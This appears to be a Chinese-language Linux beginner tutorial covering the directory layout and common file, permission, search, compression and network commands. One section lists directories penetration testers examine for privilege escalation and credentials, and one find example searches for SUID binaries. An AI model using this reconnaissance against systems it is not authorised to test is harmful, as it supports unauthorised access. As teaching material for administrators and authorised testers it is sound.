:在这个目录存放启动Linux时使用的一些核心文件,包括一些连接文件机镜像文件,都是系统启动时要用到的程序.在使用grub或lilo引导linux的时候,会用到这里的一些信息 /etc :etc这个目录是linux系统中最重要的目录之一.在这个目录下存放了系统管理时要用到的各种配置文件和子目录.我们要用到的网络配置文件,文件系统,x系统配置文件,设备配置信息,设置用户信息等都在这个目录下 /media:类windows的其他设备,例如U盘、光驱等等,识别后linux会把设备放到这个目录下. /opt:存放 Linux 中额外安装的软件.比如安装的 MySQL 数据库就可以放到这个目录下,该目录默认为空. /sbin:只有系统管理员能使用的程序和指令 /sys: 这是linux2.6内核的一个很大的变化.该目录下安装了2.6内核中新出现的一个文件系统 sysfs .sysfs文件系统集成了下面3种文件系统的信息:针对进程信息的proc文件系统、针对设备的devfs文件系统以及针对伪终端的devpts文件系统.该文件系统是内核设备树的一个直观反映.当一个内核对象被创建的时候,对应的文件和目录也在内核对象子系统中 /usr :Linux的系统资源目录,里面存放的是一些系统可执行文件或者系统的一些文件库.这是linux系统中占用硬盘空间最大的目录,相当于windows下的program files目录 对于渗透测试工程师来讲需要重点注意: /tmp: 用于存放临时文件的目录.如果以高权限运行的应用程序在此目录中创建不安全的临时文件,可能被利用进行提权.渗透测试人员可能会查找此目录中的临时文件处理方面的配置不当或漏洞. /dev/shm: 用于存放共享内存对象的临时文件存储区域.由于默认权限设置为777,任何用户都可以在此目录创建或删除文件,这可能被恶意用户利用来执行特权升级或进行拒绝服务(DoS)攻击.渗透测试人员可能会检查此目录的权限设置或搜索配置不当,以便找出潜在的安全漏洞. /root: root用户的主目录,包含敏感的配置文件.渗透测试人员可能会关注此目录,以识别任何敏感信息、配置错误或潜在漏洞,这可能导致未经授权的访问. /bin: 包含所有用户使用的基本二进制可执行文件.渗透测试人员可能会在此目录中查找常见的可执行文件和二进制文件,以发现可能存在漏洞或配置错误. /dev: 包含系统中所有设备的设备文件.虽然不包含设备驱动程序,但渗透测试人员可能会寻找与设备相关的漏洞或配置错误,可能被利用以实现未经授权的访问或信息泄露. /home: 用户主目录,包括root用户的主目录(/root).渗透测试人员可能会检查用户特定的配置和存储的凭据,以识别潜在的弱点或配置错误. /sbin: 包含系统二进制文件和用于系统管理的命令.渗透测试人员关注此目录,以识别需要提升权限的可执行文件,可能被利用进行未经授权的操作. /etc: 对系统配置至关重要.渗透测试人员通常会研究此目录,寻找配置文件中的配置错误、敏感信息或可能导致安全问题的漏洞. /tmp: 如前所述,这个目录对于渗透测试人员而言非常重要,因为由不同程序创建的临时文件的处理可能存在潜在的安全风险. /media: 识别外部设备,如USB驱动器和光驱.渗透测试人员可能会评估系统如何处理外部设备,以寻找可能的安全风险或配置错误. Linux常用命令认识登录界面我们来看看图中的每行所表示的是什么意思 第一行显示了Linux发行商和版本信息. 第二行展示了Linux使用的内核版本,以3.10.0为例.其中,3是主版本号,10是次要版本号,如果次要版本号为偶数,表示是一个稳定版本.最后的0是修订次数. 第三行展示了当前计算机的主机名,这里的”192”即为这台电脑的名称. 明白以上的一些参数之后,我们就可以登录了,首先在第三行的”192 login:”后面输入用户名,这里我们输入root,然后按ENTER,接着要求输入用户密码,输入密码后,如果密码正确,则会出现如下画面: 新出现的两行 Last login: 这行表示我们这个用户的上次登录的时间和位置 [root@192~]# 这行的root:表示登录的用户是root用户 []:这是分隔符,没有特殊含义 root:显示的是当前的登录用户,这里使用root用户登录. @:分隔符号,没有特殊含义 192:当前系统的简写主机名 ~:表示目前位于/root目录下 #:表示root用户,是超级管理员,普通用户为$ 在Linux系统中有家目录的说法,那么家目录是什么?Linux系统是纯字符界面,用户登录后,要有一个初始登录的位置,这个初始位置就称为用户的家 超级用户的家目录:/root 普通用户的家目录:/home/用户名 命令格式命令格式:命令[-选项] [参数] 在命令格式中,[]代表可选项,选项的功能是调整命令功能,参数是命令的操作对象,一般文件、目录、用户和进程等可以作为参数被命令操作. 1ls -al /etc 个别命令使用不遵循此格式 当有多个选项时,可以写在一起 选项分为短格式选项(-l)和长格式选项(–all),短格式选项是英文的简写,用一个减号调用,长格式是英文完整单词,用两个减号调用. Linux的命令按照来源方式分为两种:Shell内置命令和外部命令.所谓Shell内置命令,就是Shell自带的命令,这些命令是没有执行文件的;而外部命令就是由程序员单独开发的,是外来命令,所有会有命令的执行文件.Linux中绝大多数命令是外部命令. 文件处理命令目录处理命令1. ls命令12345678910命令英文原意:list命令路径: /bin/ls 执行权限:所有用户功能描述:显示目录文件选项:-a 显示所有文件,包括隐藏文件(以 . 开始的文件就是隐藏文件) -d 查看目录属性(针对目录) ,显示目录信息,而不是目录下的文件-l 显示详细信息(long 长格式) -h 人性化显示文件大小 -i (id编号,唯一标识) 使用方法 1234567[root@localhost ~]# ls --查看目录内容[root@localhost ~]# ls -a --显示隐藏文件[root@localhost ~]# ls -l\t--显示文件的详细信息-rw-------. 1 root root 1706 8月 30 11:45 anaconda-ks.cfgdrwxr-xr-x. 3 root root 99 8月 31 15:41 test-rw-r--r--. 1 root root 1737 8月 30 14:34 initial-setup-ks.cfg##权限 引用计数\t所有者\t所属组\t大小\t文件修改时间\t文件名 2. mkdir命令1234567命令名称:mkdir命令英文原意:make directories命令路径:/bin/mkdir执行权限:所有用户语法:mkdir -p [目录名]功能描述:创建新目录 -p 递归创建(可以同时创建多个目录) 使用方法 12345[root@localhost ~]# mkdir test --创建test的空目录[root@localhost ~]# mkdir test/abc/edf\t--此处会报错,原因就是没有test目录、abc目录,想要创建需要做递归创建[root@localhost ~]# mkdir -p test/abc/edf --递归建立,就是一级一级建立目录##注意:不要把目录弄的乱七八糟,应该有规划的创建. 3. cd命令123456命令名称:cd命令英文原意: change directory命令路径:shell 内置命令执行权限:所有用户语法:cd [目录]功能描述:切换目录 需要掌握几个概念: A:绝对路径是指通过完整的目录树结构来表示目标文件或子目录的路径.在描述中,以目录结构为例,目标目录为**/root/test**,而在该目录下有两个子目录test One和testTwo,它们的绝对路径分别为**/root/test/testOne和/root/test/testTwo**. B:相对路径是相对于当前工作目录的路径表示方法.相对路径中包含两个符号,即..和..其中,..表示当前工作目录的上一层目录,而.表示当前目录本身. 使用方法 12345[root@localhost ~]# cd test/testOne --切换目录只需要在命令后面加目录名称即可## ~\t代表用户的家目录\t..\t代表上级目录\t.\t代表当前目录\t- 代表上次所在的目录[root@localhost ~]# cd -\t# "cd -" 命令回到进入当前目录之前的目录[root@localhost ~]# cd -\t# 再执行一遍"cd -"命令又回到了test/abc 目录[root@localhost ~]# cd\t#直接用cd命令,回到家目录 命令补全:按tab键 4. pwd命令123456命令名称:pwd命令英文原意:print working directory命令路径:/bin/pwd执行权限:所有用户语法:pwd功能描述:显示当前目录 使用方法 12[root@localhost ~]# pwd\t#显示绝对路径/root 5. rmdir命令1234567命令名称: rmdir命令英文原意:remove empty directories命令路径:/bin/rmdir执行权限:所有用户语法:rmdir [目录]功能描述:删除空目录 使用-p可递归删除 使用方法 123[root@localhost ~]# mkdir -p test/abc/def #使用-p递归创建目录test/abc/def[root@localhost ~]# rmdir -p test/abc/def/\t#使用-p递归删除空目录#rmdir命令的作用十分有限,因为只能删除空目录,所以一旦目录中有文件就会报错,不常用. 6. cp命令12345678910命令名称: cp命令英文原意:cope命令路径:/bin/cp执行权限:所有用户语法: cp -rp [原文件或目录] [目标文件或目录] -r 复制目录 -p 保留文件属性功能描(包括所有者、所属组、权限和时间) -l 把目标文件建立为源文件的硬链接,而不是复制源文件 -s 把目标文件建立为源文件的软链接,而不是复制源文件功能描述:复制文件或目录,更改名字 使用方法 12345678[root@localhost ~]# cp ps.txt /root/test/testOne #把ps.txt文件复制到testOne目录下 [root@localhost test]# cp -r test1 testTwo #将目录test复制到目录testTwo中[root@localhost cesi1]# cp ps.txt ps_bak.txt #复制并且重新命名[root@localhost cesi1]# cp -p ps.txt ps_bak2 #保留原属性[root@localhost ~]# cp -l /root/ps.txt /root/psbak.txt\t#复制为硬链接文件[root@localhost ~]# cp -s /root/ps.txt /root/psbak1.txt #复制为软链接文件#注意:可以同时复制多个文件,只要有目标文件就可以大小写严格区分 7. mv命令1234567891011命令名称: mv命令英文原意: move 命令路径:/bin/mv执行权限:所有用户语法:mv [原文件或目录] [目标目录]功能描述:剪切文件、改名 选项:\t-f 强制覆盖,如果目标文件已经存在,则不询问,直接强制覆盖\t-i 交互移动,如果目标文件已经存在,则询问用户是否覆盖(默认选项)\t-n 如果目标文件已经存在,则不会覆盖移动,而且不询问用户\t-v 显示详细信息 使用方法 123[root@localhost ~]# mv ps_bak.txt /tmp #移动后源文件被删除,类似剪切[root@localhost ~]# mv /root/test /tmp #可以直接移动目录,不需要加-r选项[root@localhost ~]# mv -v /root/test /tmp #显示移动过程 8. rm命令123456789命令名称:rm命令英文原意:remove命令路径:/bin/rm执行权限:所有用户语法: rm -rf [文件或目录] -r 删除目录 -f 强制执行(不希望有询问) -i\t交互删除,在删除之前会询问用户功能描述:删除文件 使用方法 123456789[root@localhost cesi1]# rm ps_bak2 #删除文件ps_bak2 rm:是否删除普通文件 "ps_bak2"?y #系统询问是否删除,y同意,n不同意[root@localhost cesi1]# rm -f ps.txt #强制删除ps.txt文件[root@localhost cesi2]# rm -f testOne #强制删除cesi1目录rm: 无法删除"testOne": 是一个目录 [root@localhost cesi2]# rm -rf testOne #强制删除cesi1目录#注意:谨慎操作、没有回收站可言、删除之前先备份#虽然"-rf"选项是用来删除目录的,但是删除文件也不会报错,所以,为了使用方便,通常情况下不论是删除文件还是删除目录,都会直接使用-rf选项. 文件处理命令1. touch123456789101112131415命令名称:touch命令英文原意:touch 触摸命令路径:/bin/touch执行权限:所有用户语法:touch [文件名]功能描述:如果文件不存在,则会建立空文件;如果文件已经存在,则会修改文件的时间戳(访问时间、数据修改时间、状态修改时间都会改变),千万不要把touch命令当成新建文件的命令 选项:\t-a\t只修改文件的访问时间\t-c 如果文件不存在,则不建立新文件\t-d\t把文件的时间改为指定时间\t-m\t只修改文件的数据修改时间Linux中的每个文件都有三个时间,分别是访问时间(access time)、数据修改时间(modify time)和状态修改时间(change time).这三个时间可以通过stat命令进行查看.不过touch命令只能手工指定是只修改访问时间,还是只修改数据修改时间,而不能指定只修改状态时间.因为不论是修改时间,还是修改文件的数据修改时间,对文件来讲,状态都会发生改变,所以状态修改时间会随之改变.注意:linux中,文件没有创建时间 使用方法 1234[root@localhost test]# touch program #在本目录下创建文件program [root@localhost test]# touch /root/test/testOne/program_bak #指明路径创建program_bak [root@localhost cesi1]# touch program file #同时创建两个文件program file[root@localhost cesi1]# touch "program file" #创建带空格的文件 2. stat1234567命令名称:stat英文原意:didplay file or file system status所在路径:/usr/bin/stat执行权限:所有用户功能描述:显示文件或文件系统的详细信息选项:\t-f 查看文件所在的文件系统信息,而不是查看文件的信息 使用方法 12345678910111213141516171819[root@192 ~]# stat anaconda-ks.cfg #查看文件详细信息 文件:"anaconda-ks.cfg" 大小:1730 块:8 IO 块:4096 普通文件设备:fd00h/64768d\tInode:67157058 硬链接:1权限:(0600/-rw-------) Uid:( 0/ root) Gid:( 0/ root)环境:system_u:object_r:admin_home_t:s0最近访问:2021-08-28 13:27:51.039154734 +0800最近更改:2021-05-11 00:55:44.215098551 +0800最近改动:2021-05-11 00:55:44.215098551 +0800创建时间:-#虽然出现了创建时间,但是这个时间无论怎么修改都是-[root@192 ~]# stat -f anaconda-ks.cfg #查看文件系统信息 文件:"anaconda-ks.cfg" ID:fd0000000000 文件名长度:255 类型:xfs块大小:4096 基本块大小:4096 块:总计:12312705 空闲:9065203 可用:9065203Inodes: 总计:24637440 空闲:24407454 3. cat1234567891011命令名称: cat命令英文原意:concatenate files and print on the standard output命令路径:/usr/bin/cat执行权限:所有用户语法:cat [文件名]功能描述:合并文件并打印输出到标准输出 -n:显示行号 -A:相当于-vET 选项的整合,用于列出所有隐藏符号 -E:列出每行结尾的回车符$ -T:把Tab键用^I显示出来 -v:列出特殊字符 使用方法 12345678910111213[root@localhost cesi1]# cat /etc/issue #查看issue文件内容 \\S Kernel \\r on an \\m [root@localhost cesi1]# cat -n /etc/issue #查看文件显示行号 1 \\S 2 Kernel \\r on an \\m 3 #cat命令用于查看文件内容,适合查看不太大的文件.[root@192 ~]# cat -A /etc/issue\\S$Kernel \\r on an \\m$$ 4. tac123456命令名称: tac命令英文原意: 命令路径:/usr/bin/tac执行权限:所有用户语法:tac [文件名]功能描述:显示文件内容(反向列示)--倒的显示 使用方法 123456root@localhost cesi1]# tac /etc/issue #显示文件,反向显示 Kernel \\r on an \\m\\S[root@localhost cesi1]# tac -n /etc/issue #tac没有-n显示行号,错误的 tac:无效选项 -- n 5. more123456命令名称: more命令英文原意:file perusal filter for crt viewin命令路径:usr/bin/more执行权限: 所有用户语法: more [文件名]功能描述: 分页显示文件内容 使用方法 1234567891011[root@localhost cesi1]# more /etc/services#操作事项:# 空格或f 翻下页# b 向上翻页# Enter 换行# q/Q 退出[root@localhost cesi1]# more -100 /etc/services #从100行开始看起[root@localhost cesi1]# more -1000d /etc/services #从1000行开始看起,显示帮助 6. less123456命令名称: less命令英文原意:opposite of more命令路径: /usr/bin/less执行权限:所有用户语法: less [文件名]功能描述:分行显示文件内容(可向上翻页,可以搜索) 使用方法 12345678910111213[root@localhost cesi1]# less /etc/services #查看文件#操作事项: 空格或 f 翻页 Enter 换行 q/Q 退出 page up 向上翻页 page down 向下翻页 箭头 (上) 逐行往上 可以进行搜索:/ 表示搜索, 例如:/servic n表示(next)继续往下找u表示(up)往上找 7. head1234567命令名称: head命令英文原意:output the first part of files命令路径:/usr/bin/head执行权限:所有用户语法:head [文件名]功能描述:显示文件前面几行 -n 指定行数 使用方法 123456789[root@localhost cesi1]# head -n 20 /etc/services #显示开头20行的内容[root@localhost cesi1]# head /etc/services #默认的是前10行,主要用在查看脚本文件[root@192 ~]# head -5 anaconda-ks.cfg #-n 5,可以写成-5,显示前5行#version=DEVEL# System authorization informationauth --enableshadow --passalgo=sha512# Use CDROM installation mediacdrom 8. tail12345678命令名称: tail命令英文原意:output the last part of files命令路径:/usr/bin/tail执行权限:所有用户语法:tail [文件名]功能描述:显示文件结尾的内容 -n\t指定行数 -f 监听文件的新增内容 使用方法 1234[root@localhost cesi1]# tail -n 19 /etc/services #显示services文件末尾19行内容[root@localhost cesi1]# tail -f /var/log/messages #-f 动态显示,更新后可以看到数据变化,CTRL+C退出#光标不会退出文件,而会一直监听在文件的结尾处,验证需要开启一个新的终端 链接命令ln1234567命令名称:ln命令英文原意: link命令路径:/bin/ln执行权限:所有用户语法: ln -s[原文件] [目标文件] 创建软链接 ln [原文件] [目标文件] 创建硬链接功能描述:生成链接文件 使用方法 123456789101112131415161718192021222324252627282930313233[root@localhost ~]# cp -l /root/ps.txt /root/psbak.txt\t#复制为硬链接文件[root@localhost ~]# cp -s /root/ps.txt /root/psbak1.txt #复制为软链接文件#软链接[root@localhost cesi1]# ln -s /etc/issue /root/test/issue.soft #创建软链接issue.soft#软链接文件的源文件必须写成绝对路径,而不能写成相对路径(硬链接没有这样的要求)软链接特征:类似windows快捷方式(使用的比较多)lrwxrwxrwx. 1 root root 10 12月 3 14:46 issue.soft -> /etc/issue 1.软链接的权限都是rwx(方便管理)2.文件较小,只是符号链接3.issue.soft -> /etc/issue 箭头指向源文件#硬链接[root@localhost test]# ln /etc/issue /root/test/issue.hard #创建硬链接issue.hard文件[root@localhost test]# echo "www.google.com" >> /etc/issue #在文件后面加上www.google.com[root@localhost test]# cat issue.hard #查看硬链接文件,看到数据同步更新[root@localhost test]# ls -i issue.hard #查看硬链接的 i 节点33555492 issue.hard[root@localhost test]# cd /etc[root@localhost etc]# ls -i issue #查看原文件的 i 节点33555492 issue# 硬链接的特点1.不论是修改源文件,还是修改硬链接文件,另一个文件中的数据都会发生改变2.不论是删除源文件,还是删除硬链接文件,只要还有一个文件存在,这个文件都可以被访问.3.硬链接不会建立新的inode信息,也不会更改inode的总数4.硬链接不能跨文件系统(分区)建立,应为在不同的文件系统中,inode号是重新计算的.5.硬链接不能链接目录,因为如果给目录建立硬链接,那么不仅目录本身需要重新建立,目录下的所有子文件,包括子目录中的所有子文件都需要建立硬链接,这对当前的Linux来讲过于复杂.注意:软链接删除原文件,对软链接有影响 硬链接删除原文件,对硬链接没有影响 权限管理命令为什么需要权限 在计算机系统中,权限的设定和不同用户等级的分配是为了确保系统的安全性和数据的完整性.尽管在个人计算机上,我们可能都是被信任的用户,可以直接使用管理员身份登录,但在服务器上,情况就不同了. 服务器承载着大量重要且具有高价值的数据,如游戏数据、电子商城数据、银行数据等.为了保护这些数据免受不当访问和意外损坏,需要对权限进行详细的设定.不同的用户可能需要执行不同的任务,具备不同的职位,因此需要分配相应的用户等级和权限等级. 在服务器环境中,不是所有用户都应该以root身份登录.管理员拥有最大的系统权限,因此为了最小化潜在的风险,需要按照工作需要和职位需要来合理分配用户等级和权限等级.这样可以有效地防止不必要的数据访问和潜在的安全漏洞,确保服务器系统的稳定性和安全性. 权限管理 所有者:一般是这个文件的建立者. 所属组:用户组是一组用户的集合,类似大学里各种社团.将用户放到用户组里是为了方便管理. 其他用户权限:字面意思即非所有者和所属组成员的用户对文件的权限. 文件类型 “-“:普通文件. “b”:块设备文件.这是一种特殊设备文件,存储设备都是在这种文件,如分区文件 /dev/sda1 就是这种文件. “c”:字符设备文件.这也是特殊设备文件,输入设备一般都是这种文件,如鼠标、键盘等. “d”:目录文件.Linux中一切皆文件,所以目录也是文件的一种. “l”:软链接文件. “p”:管道符文件.这是一种非常少见的特殊设备文件. “s”:套接字文件,这也是一种特殊设备文件,一些服务支持Socket访问,就会产生这样的文件. 文件目录权限总结: 代表字符 权限 数字代表 对文件的含义 对目录的含义 r 读权限 4 可以查看文件的内容 可以列出目录中的内容 w 写权限 2 可以修改文件内容 可以在目录中创建、删除文件 x 执行权限 1 可以执行文件 可以进入目录 基本权限命令1. chmod12345678910111213141516171819202122命令名称: chmod命令英文原意:change the permissions mode of a file命令路径: /bin/chmod执行权限:所有用户语法: chmod [{ugoa}{+-=}{rwx}] [文件或目录] [mode=421] [文件或目录] -R 递归修改功能描述:改变文件或目录权限 所有者和root可以该文件权限 用户身份u:代表所有者(user)g:代表所属组(group)o:代表其他人(other)a:代表全部身份(all)赋予方式+:加入权限-:减去权限=:设置权限权限r:读取权限(read)w:写权限(write)x:执行权限(execute) 使用方法 1234567891011121314[root@192 ~]# touch qx[root@192 ~]# ll qx-rw-r--r--. 1 root root 0 9月 6 16:30 qx[root@192 ~]# chmod u=rwx,g=rw,o=rw qx[root@192 ~]# ll qx-rwxrw-rw-. 1 root root 0 9月 6 16:30 qx[root@192 ~]# chmod 755 qx\t#给文件赋予755权限:4代表r/2代表w/1代表x[root@192 ~]# ll qx-rwxr-xr-x. 1 root root 0 9月 6 16:30 qx[root@localhost test]# chmod -R 777 test #修改目录test及其目录下文件为所有用户具有全部权限# 644,文件的基本权限,代表rw-r--r--# 755,这是文件的执行权限和目录的基本权限,代表rwxr-xr-x# 777,这是最大权限,尽量不要赋予这样的权限 2. chown123456命令名称: chown命令英文原意:change file own ership命令路径: /bin/chown执行权限:所有权限语法: chown [用户] [文件或目录]功能描述:改变文件或目录的所有者 只有root用户可以 使用方法 1234567[root@192 ~]# chown Bob test #改变Bob文件的所属用户[root@192 ~]# ll test-rwxr-xr-x. 1 Bob root 0 9月 6 16:30 test[root@192 ~]# chown bob:bob test #改变所属用户和用户组,使用:也可以用.替代[root@192 ~]# ll test-rwxr-xr-x. 1 bob bob 0 9月 6 16:30 test 文件搜索命令Linux拥有强大的搜索功能,但是强大带来的缺点是相对比较复杂,搜索命令只是选项较多,不容易记忆而已,并不难理解. 在使用搜索命令的时候,大家要注意,如果搜索的范围过大、搜索的内容过多,则会给系统造成巨大的压力,所以不要在服务器访问的高峰执行大范围的搜索命令. 命令 描述 find 文件搜索 which 搜索命令所在目录及别名信息 whereis 搜索命令所在目录及帮助文档路径 grep 在文件内容中搜索子串匹配的行并输出 1. which123456命令名称:which命令英文原意:shows the full path of(shell) commands命令路径:/usr/bin/which执行权限:所有用户语法:which [命令]功能描述:搜索命令所在目录及别名信息 使用方法 1234567891011#需要了解知识:# /bin或/usr/bin/ 所有用户使用的命令 #/sbin或/usr/sbin 只有root用户才能使用[root@localhost test]# which ls #查看ls目录的路径alias ls='ls --color=auto' /usr/bin/ls[root@localhost test]# which cp #查看cp目录的路径alias cp='cp -i' /usr/bin/cp 2. findfind是Linux中强大的搜索命令,不仅可以按照文件名搜索文件,还可以按照权限、大小、时间、inode号等来搜索文件.但是find命令是直接在硬盘中进行搜索的,如果指定的搜索范围过大,find命令就会消耗较大的系统资源,导致服务器压力过大,所以在使用find命令搜索时,不要指定过大的搜索范围. 12345678910111213141516##需要了解知识: 1.搜索会大量占用系统资源 2.Linux以数据块为最小存储单位:1数据块=512字节=0.5KB 100MB=102400KB= 204800数据块 3.搜索的范围尽量越小越好,越精确越好,这样可以节约Linux的系统资源 4.在find中用到的通配符 *:可以匹配任意字符 ?:可以匹配单个字符 命令名称: find命令英文原意: scarch for files in a directory hierarchy命令路径:/usr/bin/find执行权限:所有用户语法:find 搜索路径 [选项] 搜索内容选项\t-name\t按照文件名搜索\t-iname\t按照文件名搜索,不区分文件名大小写\t-inum\t按照inode号搜索功能描述:文件搜索 使用方法 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364##范例1:按照文件名搜索-name -iname -inum (* ?) 的用法 [root@localhost /]# find /etc -name init #在目录/etc中查找文件init #使用通配符(* ?)进行查找文件 [root@localhost /]# find /etc -name *init* #查找包含init的文件 [root@localhost /]# find /etc -name init??? #查找init后面有3个字符的文件 #使用 -iname 不区分大小写 [root@localhost /]# find /etc -iname init* #查找init*文件不区分大小写 ##范例2:按照文件大小搜索-size +n:大于 -n:小于 =n 等于 n表示数据块 (n是整数)#find不写单位默认按照512B来进行查找,单位依次是b/c/w/k/M/G;c表示字节、w表示双字节(中文)[root@localhost /]# find / -size +204800 #在根目录下查找大于100MB的文件[root@localhost /]# find / -size +300k #在根目录下查找大于300KB的文件[root@localhost /]# find / -size -300k #在根目录下查找小于300KB的文件##范例3:-user:根据用户查询 -group:根据所属组查询[root@localhost /]# find /home -user cesi #在根目录下查找所有者为cesi的文件[root@localhost /]# find /home -user cesi -name cesi #在根目录下查找所有者为cesi文件名字为cesi的文件 /home/cesi##范例4:按照修改时间搜索linux中的文件有访问时间(atime)、数据修改时间(mtime)、状态修改时间(ctime)\t-atime[+/-]时间:按照访问时间搜索\t-mtime[+/-]时间:按照文件数据修改时间搜索\t-ctime[+/-]时间:按照文件状态修改时间搜索[root@localhost /]# find /root -atime -5 #查找/root文件下5天内修改的文件\t-5\t代表5天内修改的文件5\t代表前5-6天修改的文件+5\t代表6天前修改的文件[root@localhost /]# find /root -amin -30 #查找/root文件下30分钟内被浏览过的文件\t-amin\t-mmin\t-cmin##范例5:按照权限搜索-perm\t权限模式:查找文件权限刚好等于"权限模式"的文件-perm\t-权限模式:查找文件权限全部包含"权限模式"的文件-perm\t+权限模式:查找文件权限包含"权限模式"任意一个权限的文件[root@localhost /]# chmod 755 test1[root@localhost /]# chmod 444 test2[root@localhost /]# chmod 600 test3[root@localhost /]# chmod 200 test4[root@localhost /]# find / -perm -u=s[root@localhost /]# find -perm 444 #按照指定权限搜索文件,文件的权限必须和搜索指定的权限一致##范例6:按照文件类型搜索-type d :查找目录-type f :查找普通文件-type l :查找软链接文件##范例7:逻辑运算符(与或非)-a\tand -o\tor\t-not[root@localhost /]# find /etc -name init* -a -type d #查找init*开头的目录(配合使用) ## 范例8:-exec:对搜索结果执行操作 -ok:询问确认信息 {} \\; :固定格式 {}:结果集 \\:转译符 ;:结束[root@localhost /]# find / -name kali.txt -ok rm -rf {} \\; #使用rm命令删除找到的文件 3. grep123456命令名称:grep命令英文原意:grep命令路径:/bin/grep执行权限:所有用户语法: grep -iv [指定字串] [文件]功能描述:在文件中搜索字符串匹配的行并输出 使用方法 123456789[root@localhost sbin]# grep -i sum ./sum.sh #查找sum.sh脚本中sum的内容 -i 不区分大小写 -v 排除指定字串,反向查找 -n 输出行号 --color=auto 搜索出的关键字用颜色显示 [root@localhost sbin]# grep -i ^# /etc/passwd #查找首行为#号的内容[root@localhost sbin]# grep -iv ^# /etc/passwd #查找首行不为#号的内容 帮助命令1. man [info]123456命令名称:man命令英文原意:manual 手册命令路径:/usr/bin/man执行权限:所有用户语法:man [命令或配置文件]功能描述:获取帮助信息 使用方法 1234567891011121314151617181920## 查看命令的帮助信息[root@localhost sbin]# man ls #查看ls命令的帮助信息 #键盘输入 / -l #可以找关于-l相关选项的内容,按键盘 n 查找下一个 (/表示搜索)## 查看配置文件的帮助信息 使用man查看配置文件时,不要增加绝对路径,直接写配置文件名称就可以[root@localhost sbin]# man services #查看配置文件services的帮助信息##查看一个特殊的 passwd [root@192 ~]# whereis passwdpasswd: /usr/bin/passwd /etc/passwd /usr/share/man/man1/passwd.1.gz /usr/share/man/man5/passwd.5.gz#说明:passwd中有两个帮助文档passwd.1.gz和passwd.5.gz ,其中 1:命令的帮助 5:配置文件的帮助 查看配置文件的帮助[root@localhost sbin]# man 5 passwd #查看配置文件的帮助文档## 查看date帮助文档[root@localhost sbin]# date #查看时间#使用man date 查看格式如下[root@localhost sbin]# date 1208115820212021年 12月 08日 星期三 11:58:00 CST 2. help12345命令名称:help命令路径:shell内置命令执行权限:所有用户语法:help 命令功能描述:获得shell内置命令的帮助信息 3. –help1[root@localhost sbin]# touch --help 压缩解压缩命令在Linux系统中,与Windows不同,文件类型并非仅依赖于扩展名,而主要取决于文件的权限.Linux系统不靠扩展名来区分文件类型,而是通过权限来控制.各种压缩格式(如”.zip”、”tar”、”gz”、”bz2”等)在Linux中的解压缩方法各不相同,扩展名在此主要作为用户辨识压缩格式的标识. 用户在Linux系统中不需要深入了解各种压缩格式的技术差异,只需知道对应的压缩包如何解压缩,以及在需要压缩文件时应如何操作.这种差异不仅体现在表面的扩展名上,更涉及到系统底层的权限和文件管理机制.因此,在Linux中正确识别和处理压缩文件需要用户了解正确的压缩格式,以使用相应的压缩命令. 1. gzip gunzip命令.gz格式是Linux中最常用的压缩格式,使用gzip命令进行压缩 1234567891011121314命令名称:gzip命令英文原意:GUNzip命令路径:/bin/gzip执行权限:所有用户语法:gzip [文件]功能描述:压缩文件压缩后的格式: .gz 命令名称:gunzip命令英文原意:GUNunzip命令路径:/bin/gunzip执行权限:所有用户语法:gzip [压缩文件]功能描述:解压缩.gz的压缩文件 123[root@localhost test]# cp /etc/services /root/test/compress #复制services文件,更名为compress [root@localhost test]# gzip compress ##压缩比是5倍左右[root@localhost test]# gunzip compress.gz #解压compress.gz文件 gzip只能压缩文件,压缩后不保留原文件,不能压缩目录 2. zip unzip命令.zip是Windows中最常用的压缩格式,Linux也可以正确识别.zip格式,这可以方便地和Windows系统通用压缩文件。 1234567891011121314命令名称:zip命令路径:/usr/bin/zip执行权限:所有用户语法:zip 选项[-r] [压缩后文件名] [文件或目录] -r 压缩目录功能描述:压缩文件或目录压缩后文件格式: .zip优点:Linux和windows都支持的压缩格式,且压缩后保留原格式 命令名称:unzip命令路径:/usr/bin/unzip执行权限:所有用户语法:unzip [压缩文件] 功能描述:解压 .zip 的压缩文件 12[root@localhost test]# zip yasuo.zip yasuo[root@localhost test]# unzip yasuo.zip #解压yasuo.zip 3. bzip2 bunzip2命令.bz2格式是Linux的另一种压缩格式,从理论上来讲,.bz2格式的算法更先进,压缩比更好;而.gz格式相对来讲压缩时间更快。 1234567891011121314命令名称:bzip2命令路径:/usr/bin/bzip2执行权限:所有用户语法:bzip2 选项[-k] [文件] -k产生压缩文件后保留原文件功能描述:压缩文件压缩后文件格式: .bz2 命令名称:bunzip2命令路径:/usr/bin/bunzip2执行权限:所有用户语法:bunzip2 [-k][压缩文件] -k 解压缩后保留原文件 功能描述:解压 .zip 的压缩文件 12[root@localhost test]# bzip2 -k compress #使用bzip2 压缩文件compress [root@localhost test]# bunzip2 -k compress.bz2 #使用bunzip2解压compress.bz2文件 4. tar命令 在Linux中,对打包和压缩是区别对待的.在Linux中,如果想把多个文件或目录打包到一个文件包中,使用的是tar命令,而压缩使用的是gzip或bzip2命令. 123456789101112131415161718命令名称:tar命令路径:/bin/tar执行权限:所有用户语法:tar 选项[-zcf] [压缩后文件名] [目录] -c 打包 -v 显示详细信息 -f 指定文件名(必须加) -z 打包同压缩功能描述:打包目录 名字是为了方便区分,一般加.tar压缩后文件格式: .tar.gz 命令名称:tartar命令解压缩语法: -x 解包 -v 显示详细信息 -f 指定解压文件 -z 解压缩 12345678910root@localhost test]# tar -cvf test.tar testOne testTwo #打包testOne testTwo目录 [root@localhost test]# gzip testOne.tar #压缩testOne.tar ##.tar.gz压缩格式是互联网最常见的压缩格式 [root@localhost test]# tar -zcf testOne.tar.gz testOne #打包压缩testOne目录为testOne.tar.gz[root@localhost test]# tar -zxvf testOne.tar.gz #解压解包 testOne.tar.gz ##.tar.bz2[root@localhost test]# tar -cjf compress.tar.bz2 compress #使用tar 用选项-j 替代 bzip2命令 [root@localhost test]# tar -xjf compress.tar.bz2 网络命令 IP地址是计算机在互联网中唯一的地址编码.每台计算机如果需要接入网络和其他计算机进行数据通信,就必须配置唯一的公网IP地址. Linux也需要配置IP地址才可以正常使用网络.其实Linux主要是通过修改网卡配置文件来永久修改IP地址的. 1. ip命令ip命令逐渐取代了ifconfig命令,两条命令功能接近,但是ip命令的功能更加强大 123456789101112131415161718192021222324252627282930313233343536373839404142434445命令名称:ip英文原意:Internet Protocol所在路径:/usr/sbin/ip执行权限:超级用户功能描述:显示和设置网络路由、路由策略.语法:ip options object {command | help}options包括:-V,显示版本-h,符合人类阅读习惯显示输出-f,-family {inet, inet6, link} 